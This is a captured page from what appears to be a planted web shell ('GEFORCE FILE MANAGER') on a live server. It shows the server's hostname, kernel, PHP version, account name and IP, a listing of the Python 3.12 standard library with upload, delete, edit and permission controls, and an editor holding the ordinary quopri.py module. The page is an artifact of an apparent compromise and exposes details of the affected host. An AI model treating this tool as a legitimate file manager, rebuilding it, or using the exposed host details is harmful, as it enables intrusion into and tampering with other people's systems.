[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.12
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📁 asyncio
SET
[ DEL ]
📁 collections
SET
[ DEL ]
📁 concurrent
SET
[ DEL ]
📁 config-3.12-x86_64-linux-gnu
SET
[ DEL ]
📁 ctypes
SET
[ DEL ]
📁 curses
SET
[ DEL ]
📁 dbm
SET
[ DEL ]
📁 email
SET
[ DEL ]
📁 encodings
SET
[ DEL ]
📁 ensurepip
SET
[ DEL ]
📁 html
SET
[ DEL ]
📁 http
SET
[ DEL ]
📁 importlib
SET
[ DEL ]
📁 json
SET
[ DEL ]
📁 lib-dynload
SET
[ DEL ]
📁 lib2to3
SET
[ DEL ]
📁 logging
SET
[ DEL ]
📁 multiprocessing
SET
[ DEL ]
📁 pydoc_data
SET
[ DEL ]
📁 re
SET
[ DEL ]
📁 site-packages
SET
[ DEL ]
📁 sqlite3
SET
[ DEL ]
📁 tomllib
SET
[ DEL ]
📁 unittest
SET
[ DEL ]
📁 urllib
SET
[ DEL ]
📁 venv
SET
[ DEL ]
📁 wsgiref
SET
[ DEL ]
📁 xml
SET
[ DEL ]
📁 xmlrpc
SET
[ DEL ]
📁 zipfile
SET
[ DEL ]
📁 zoneinfo
SET
[ DEL ]
📄 LICENSE.txt
13,936 B
SET
[ EDIT ]
|
[ DEL ]
📄 __future__.py
5,218 B
SET
[ EDIT ]
|
[ DEL ]
📄 __hello__.py
227 B
SET
[ EDIT ]
|
[ DEL ]
📄 _aix_support.py
4,021 B
SET
[ EDIT ]
|
[ DEL ]
📄 _collections_abc.py
32,089 B
SET
[ EDIT ]
|
[ DEL ]
📄 _compat_pickle.py
8,761 B
SET
[ EDIT ]
|
[ DEL ]
📄 _compression.py
5,681 B
SET
[ EDIT ]
|
[ DEL ]
📄 _markupbase.py
14,653 B
SET
[ EDIT ]
|
[ DEL ]
📄 _osx_support.py
22,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 _py_abc.py
6,189 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pydatetime.py
92,087 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pydecimal.py
227,283 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pyio.py
93,593 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pylong.py
10,790 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sitebuiltins.py
3,128 B
SET
[ EDIT ]
|
[ DEL ]
📄 _strptime.py
28,393 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sysconfigdata__linux_x86_64-linux-gnu.py
72,132 B
SET
[ EDIT ]
|
[ DEL ]
📄 _threading_local.py
7,220 B
SET
[ EDIT ]
|
[ DEL ]
📄 _weakrefset.py
5,893 B
SET
[ EDIT ]
|
[ DEL ]
📄 abc.py
6,538 B
SET
[ EDIT ]
|
[ DEL ]
📄 aifc.py
34,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 antigravity.py
500 B
SET
[ EDIT ]
|
[ DEL ]
📄 argparse.py
101,155 B
SET
[ EDIT ]
|
[ DEL ]
📄 ast.py
64,452 B
SET
[ EDIT ]
|
[ DEL ]
📄 base64.py
20,634 B
SET
[ EDIT ]
|
[ DEL ]
📄 bdb.py
33,573 B
SET
[ EDIT ]
|
[ DEL ]
📄 bisect.py
3,423 B
SET
[ EDIT ]
|
[ DEL ]
📄 bz2.py
11,847 B
SET
[ EDIT ]
|
[ DEL ]
📄 cProfile.py
6,555 B
SET
[ EDIT ]
|
[ DEL ]
📄 calendar.py
25,864 B
SET
[ EDIT ]
|
[ DEL ]
📄 cgi.py
34,418 B
SET
[ EDIT ]
|
[ DEL ]
📄 cgitb.py
12,421 B
SET
[ EDIT ]
|
[ DEL ]
📄 chunk.py
5,500 B
SET
[ EDIT ]
|
[ DEL ]
📄 cmd.py
14,873 B
SET
[ EDIT ]
|
[ DEL ]
📄 code.py
10,962 B
SET
[ EDIT ]
|
[ DEL ]
📄 codecs.py
36,870 B
SET
[ EDIT ]
|
[ DEL ]
📄 codeop.py
5,908 B
SET
[ EDIT ]
|
[ DEL ]
📄 colorsys.py
4,062 B
SET
[ EDIT ]
|
[ DEL ]
📄 compileall.py
20,507 B
SET
[ EDIT ]
|
[ DEL ]
📄 configparser.py
53,789 B
SET
[ EDIT ]
|
[ DEL ]
📄 contextlib.py
27,637 B
SET
[ EDIT ]
|
[ DEL ]
📄 contextvars.py
129 B
SET
[ EDIT ]
|
[ DEL ]
📄 copy.py
8,412 B
SET
[ EDIT ]
|
[ DEL ]
📄 copyreg.py
7,614 B
SET
[ EDIT ]
|
[ DEL ]
📄 crypt.py
3,913 B
SET
[ EDIT ]
|
[ DEL ]
📄 csv.py
16,386 B
SET
[ EDIT ]
|
[ DEL ]
📄 dataclasses.py
62,085 B
SET
[ EDIT ]
|
[ DEL ]
📄 datetime.py
268 B
SET
[ EDIT ]
|
[ DEL ]
📄 decimal.py
2,805 B
SET
[ EDIT ]
|
[ DEL ]
📄 difflib.py
83,368 B
SET
[ EDIT ]
|
[ DEL ]
📄 dis.py
30,227 B
SET
[ EDIT ]
|
[ DEL ]
📄 doctest.py
106,749 B
SET
[ EDIT ]
|
[ DEL ]
📄 enum.py
81,540 B
SET
[ EDIT ]
|
[ DEL ]
📄 filecmp.py
10,381 B
SET
[ EDIT ]
|
[ DEL ]
📄 fileinput.py
15,714 B
SET
[ EDIT ]
|
[ DEL ]
📄 fnmatch.py
5,999 B
SET
[ EDIT ]
|
[ DEL ]
📄 fractions.py
38,147 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftplib.py
34,735 B
SET
[ EDIT ]
|
[ DEL ]
📄 functools.py
37,940 B
SET
[ EDIT ]
|
[ DEL ]
📄 genericpath.py
5,572 B
SET
[ EDIT ]
|
[ DEL ]
📄 getopt.py
7,488 B
SET
[ EDIT ]
|
[ DEL ]
📄 getpass.py
5,990 B
SET
[ EDIT ]
|
[ DEL ]
📄 gettext.py
21,320 B
SET
[ EDIT ]
|
[ DEL ]
📄 glob.py
8,732 B
SET
[ EDIT ]
|
[ DEL ]
📄 graphlib.py
9,648 B
SET
[ EDIT ]
|
[ DEL ]
📄 gzip.py
25,402 B
SET
[ EDIT ]
|
[ DEL ]
📄 hashlib.py
9,683 B
SET
[ EDIT ]
|
[ DEL ]
📄 heapq.py
23,024 B
SET
[ EDIT ]
|
[ DEL ]
📄 hmac.py
8,043 B
SET
[ EDIT ]
|
[ DEL ]
📄 imaplib.py
54,209 B
SET
[ EDIT ]
|
[ DEL ]
📄 imghdr.py
4,398 B
SET
[ EDIT ]
|
[ DEL ]
📄 inspect.py
127,125 B
SET
[ EDIT ]
|
[ DEL ]
📄 io.py
3,582 B
SET
[ EDIT ]
|
[ DEL ]
📄 ipaddress.py
81,414 B
SET
[ EDIT ]
|
[ DEL ]
📄 keyword.py
1,073 B
SET
[ EDIT ]
|
[ DEL ]
📄 linecache.py
5,800 B
SET
[ EDIT ]
|
[ DEL ]
📄 locale.py
78,599 B
SET
[ EDIT ]
|
[ DEL ]
📄 lzma.py
13,277 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailbox.py
78,911 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailcap.py
9,333 B
SET
[ EDIT ]
|
[ DEL ]
📄 mimetypes.py
23,037 B
SET
[ EDIT ]
|
[ DEL ]
📄 modulefinder.py
23,699 B
SET
[ EDIT ]
|
[ DEL ]
📄 netrc.py
6,922 B
SET
[ EDIT ]
|
[ DEL ]
📄 nntplib.py
41,087 B
SET
[ EDIT ]
|
[ DEL ]
📄 ntpath.py
32,324 B
SET
[ EDIT ]
|
[ DEL ]
📄 nturl2path.py
2,374 B
SET
[ EDIT ]
|
[ DEL ]
📄 numbers.py
11,467 B
SET
[ EDIT ]
|
[ DEL ]
📄 opcode.py
13,174 B
SET
[ EDIT ]
|
[ DEL ]
📄 operator.py
10,965 B
SET
[ EDIT ]
|
[ DEL ]
📄 optparse.py
60,369 B
SET
[ EDIT ]
|
[ DEL ]
📄 os.py
40,821 B
SET
[ EDIT ]
|
[ DEL ]
📄 pathlib.py
51,052 B
SET
[ EDIT ]
|
[ DEL ]
📄 pdb.py
70,297 B
SET
[ EDIT ]
|
[ DEL ]
📄 pickle.py
66,911 B
SET
[ EDIT ]
|
[ DEL ]
📄 pickletools.py
94,052 B
SET
[ EDIT ]
|
[ DEL ]
📄 pipes.py
8,978 B
SET
[ EDIT ]
|
[ DEL ]
📄 pkgutil.py
18,281 B
SET
[ EDIT ]
|
[ DEL ]
📄 platform.py
43,388 B
SET
[ EDIT ]
|
[ DEL ]
📄 plistlib.py
28,342 B
SET
[ EDIT ]
|
[ DEL ]
📄 poplib.py
14,742 B
SET
[ EDIT ]
|
[ DEL ]
📄 posixpath.py
17,483 B
SET
[ EDIT ]
|
[ DEL ]
📄 pprint.py
24,158 B
SET
[ EDIT ]
|
[ DEL ]
📄 profile.py
23,092 B
SET
[ EDIT ]
|
[ DEL ]
📄 pstats.py
29,289 B
SET
[ EDIT ]
|
[ DEL ]
📄 pty.py
6,137 B
SET
[ EDIT ]
|
[ DEL ]
📄 py_compile.py
7,837 B
SET
[ EDIT ]
|
[ DEL ]
📄 pyclbr.py
11,396 B
SET
[ EDIT ]
|
[ DEL ]
📄 pydoc.py
113,508 B
SET
[ EDIT ]
|
[ DEL ]
📄 queue.py
11,496 B
SET
[ EDIT ]
|
[ DEL ]
📄 quopri.py
7,183 B
SET
[ EDIT ]
|
[ DEL ]
📄 random.py
34,689 B
SET
[ EDIT ]
|
[ DEL ]
📄 reprlib.py
7,148 B
SET
[ EDIT ]
|
[ DEL ]
📄 rlcompleter.py
7,827 B
SET
[ EDIT ]
|
[ DEL ]
📄 runpy.py
12,885 B
SET
[ EDIT ]
|
[ DEL ]
📄 sched.py
6,351 B
SET
[ EDIT ]
|
[ DEL ]
📄 secrets.py
1,984 B
SET
[ EDIT ]
|
[ DEL ]
📄 selectors.py
19,671 B
SET
[ EDIT ]
|
[ DEL ]
📄 shelve.py
8,560 B
SET
[ EDIT ]
|
[ DEL ]
📄 shlex.py
13,353 B
SET
[ EDIT ]
|
[ DEL ]
📄 shutil.py
56,762 B
SET
[ EDIT ]
|
[ DEL ]
📄 signal.py
2,495 B
SET
[ EDIT ]
|
[ DEL ]
📄 site.py
23,439 B
SET
[ EDIT ]
|
[ DEL ]
📄 smtplib.py
43,531 B
SET
[ EDIT ]
|
[ DEL ]
📄 sndhdr.py
7,448 B
SET
[ EDIT ]
|
[ DEL ]
📄 socket.py
37,815 B
SET
[ EDIT ]
|
[ DEL ]
📄 socketserver.py
28,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_compile.py
231 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_constants.py
232 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_parse.py
229 B
SET
[ EDIT ]
|
[ DEL ]
📄 ssl.py
50,904 B
SET
[ EDIT ]
|
[ DEL ]
📄 stat.py
5,485 B
SET
[ EDIT ]
|
[ DEL ]
📄 statistics.py
50,227 B
SET
[ EDIT ]
|
[ DEL ]
📄 string.py
11,786 B
SET
[ EDIT ]
|
[ DEL ]
📄 stringprep.py
12,917 B
SET
[ EDIT ]
|
[ DEL ]
📄 struct.py
257 B
SET
[ EDIT ]
|
[ DEL ]
📄 subprocess.py
88,747 B
SET
[ EDIT ]
|
[ DEL ]
📄 sunau.py
18,478 B
SET
[ EDIT ]
|
[ DEL ]
📄 symtable.py
12,477 B
SET
[ EDIT ]
|
[ DEL ]
📄 sysconfig.py
33,773 B
SET
[ EDIT ]
|
[ DEL ]
📄 tabnanny.py
11,531 B
SET
[ EDIT ]
|
[ DEL ]
📄 tarfile.py
114,250 B
SET
[ EDIT ]
|
[ DEL ]
📄 telnetlib.py
23,334 B
SET
[ EDIT ]
|
[ DEL ]
📄 tempfile.py
32,386 B
SET
[ EDIT ]
|
[ DEL ]
📄 textwrap.py
19,718 B
SET
[ EDIT ]
|
[ DEL ]
📄 this.py
1,003 B
SET
[ EDIT ]
|
[ DEL ]
📄 threading.py
59,742 B
SET
[ EDIT ]
|
[ DEL ]
📄 timeit.py
13,463 B
SET
[ EDIT ]
|
[ DEL ]
📄 token.py
2,511 B
SET
[ EDIT ]
|
[ DEL ]
📄 tokenize.py
21,570 B
SET
[ EDIT ]
|
[ DEL ]
📄 trace.py
29,352 B
SET
[ EDIT ]
|
[ DEL ]
📄 traceback.py
46,393 B
SET
[ EDIT ]
|
[ DEL ]
📄 tracemalloc.py
18,047 B
SET
[ EDIT ]
|
[ DEL ]
📄 tty.py
2,035 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.py
10,993 B
SET
[ EDIT ]
|
[ DEL ]
📄 typing.py
118,836 B
SET
[ EDIT ]
|
[ DEL ]
📄 uu.py
7,341 B
SET
[ EDIT ]
|
[ DEL ]
📄 uuid.py
29,656 B
SET
[ EDIT ]
|
[ DEL ]
📄 warnings.py
21,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 wave.py
22,769 B
SET
[ EDIT ]
|
[ DEL ]
📄 weakref.py
21,513 B
SET
[ EDIT ]
|
[ DEL ]
📄 webbrowser.py
24,141 B
SET
[ EDIT ]
|
[ DEL ]
📄 xdrlib.py
5,942 B
SET
[ EDIT ]
|
[ DEL ]
📄 zipapp.py
7,543 B
SET
[ EDIT ]
|
[ DEL ]
📄 zipimport.py
27,840 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: quopri.py
#! /usr/bin/python3.12 """Conversions to/from quoted-printable transport encoding as per RFC 1521.""" # (Dec 1991 version). __all__ = ["encode", "decode", "encodestring", "decodestring"] ESCAPE = b'=' MAXLINESIZE = 76 HEX = b'0123456789ABCDEF' EMPTYSTRING = b'' try: from binascii import a2b_qp, b2a_qp except ImportError: a2b_qp = None b2a_qp = None def needsquoting(c, quotetabs, header): """Decide whether a particular byte ordinal needs to be quoted. The 'quotetabs' flag indicates whether embedded tabs and spaces should be quoted. Note that line-ending tabs and spaces are always encoded, as per RFC 1521. """ assert isinstance(c, bytes) if c in b' \t': return quotetabs # if header, we have to escape _ because _ is used to escape space if c == b'_': return header return c == ESCAPE or not (b' ' <= c <= b'~') def quote(c): """Quote a single character.""" assert isinstance(c, bytes) and len(c)==1 c = ord(c) return ESCAPE + bytes((HEX[c//16], HEX[c%16])) def encode(input, output, quotetabs, header=False): """Read 'input', apply quoted-printable encoding, and write to 'output'. 'input' and 'output' are binary file objects. The 'quotetabs' flag indicates whether embedded tabs and spaces should be quoted. Note that line-ending tabs and spaces are always encoded, as per RFC 1521. The 'header' flag indicates whether we are encoding spaces as _ as per RFC 1522.""" if b2a_qp is not None: data = input.read() odata = b2a_qp(data, quotetabs=quotetabs, header=header) output.write(odata) return def write(s, output=output, lineEnd=b'\n'): # RFC 1521 requires that the line ending in a space or tab must have # that trailing character encoded. if s and s[-1:] in b' \t': output.write(s[:-1] + quote(s[-1:]) + lineEnd) elif s == b'.': output.write(quote(s) + lineEnd) else: output.write(s + lineEnd) prevline = None while line := input.readline(): outline = [] # Strip off any readline induced trailing newline stripped = b'' if line[-1:] == b'\n': line = line[:-1] stripped = b'\n' # Calculate the un-length-limited encoded line for c in line: c = bytes((c,)) if needsquoting(c, quotetabs, header): c = quote(c) if header and c == b' ': outline.append(b'_') else: outline.append(c) # First, write out the previous line if prevline is not None: write(prevline) # Now see if we need any soft line breaks because of RFC-imposed # length limitations. Then do the thisline->prevline dance. thisline = EMPTYSTRING.join(outline) while len(thisline) > MAXLINESIZE: # Don't forget to include the soft line break `=' sign in the # length calculation! write(thisline[:MAXLINESIZE-1], lineEnd=b'=\n') thisline = thisline[MAXLINESIZE-1:] # Write out the current line prevline = thisline # Write out the last line, without a trailing newline if prevline is not None: write(prevline, lineEnd=stripped) def encodestring(s, quotetabs=False, header=False): if b2a_qp is not None: return b2a_qp(s, quotetabs=quotetabs, header=header) from io import BytesIO infp = BytesIO(s) outfp = BytesIO() encode(infp, outfp, quotetabs, header) return outfp.getvalue() def decode(input, output, header=False): """Read 'input', apply quoted-printable decoding, and write to 'output'. 'input' and 'output' are binary file objects. If 'header' is true, decode underscore as space (per RFC 1522).""" if a2b_qp is not None: data = input.read() odata = a2b_qp(data, header=header) output.write(odata) return new = b'' while line := input.readline(): i, n = 0, len(line) if n > 0 and line[n-1:n] == b'\n': partial = 0; n = n-1 # Strip trailing whitespace while n > 0 and line[n-1:n] in b" \t\r": n = n-1 else: partial = 1 while i < n: c = line[i:i+1] if c == b'_' and header: new = new + b' '; i = i+1 elif c != ESCAPE: new = new + c; i = i+1 elif i+1 == n and not partial: partial = 1; break elif i+1 < n and line[i+1:i+2] == ESCAPE: new = new + ESCAPE; i = i+2 elif i+2 < n and ishex(line[i+1:i+2]) and ishex(line[i+2:i+3]): new = new + bytes((unhex(line[i+1:i+3]),)); i = i+3 else: # Bad escape sequence -- leave it in new = new + c; i = i+1 if not partial: output.write(new + b'\n') new = b'' if new: output.write(new) def decodestring(s, header=False): if a2b_qp is not None: return a2b_qp(s, header=header) from io import BytesIO infp = BytesIO(s) outfp = BytesIO() decode(infp, outfp, header=header) return outfp.getvalue() # Other helper functions def ishex(c): """Return true if the byte ordinal 'c' is a hexadecimal digit in ASCII.""" assert isinstance(c, bytes) return b'0' <= c <= b'9' or b'a' <= c <= b'f' or b'A' <= c <= b'F' def unhex(s): """Get the integer value of a hexadecimal number.""" bits = 0 for c in s: c = bytes((c,)) if b'0' <= c <= b'9': i = ord('0') elif b'a' <= c <= b'f': i = ord('a')-10 elif b'A' <= c <= b'F': i = ord(b'A')-10 else: assert False, "non-hex digit "+repr(c) bits = bits*16 + (ord(c) - i) return bits def main(): import sys import getopt try: opts, args = getopt.getopt(sys.argv[1:], 'td') except getopt.error as msg: sys.stdout = sys.stderr print(msg) print("usage: quopri [-t | -d] [file] ...") print("-t: quote tabs") print("-d: decode; default encode") sys.exit(2) deco = False tabs = False for o, a in opts: if o == '-t': tabs = True if o == '-d': deco = True if tabs and deco: sys.stdout = sys.stderr print("-t and -d are mutually exclusive") sys.exit(2) if not args: args = ['-'] sts = 0 for file in args: if file == '-': fp = sys.stdin.buffer else: try: fp = open(file, "rb") except OSError as msg: sys.stderr.write("%s: can't open (%s)\n" % (file, msg)) sts = 1 continue try: if deco: decode(fp, sys.stdout.buffer) else: encode(fp, sys.stdout.buffer, tabs) finally: if file != '-': fp.close() if sts: sys.exit(sts) if __name__ == '__main__': main()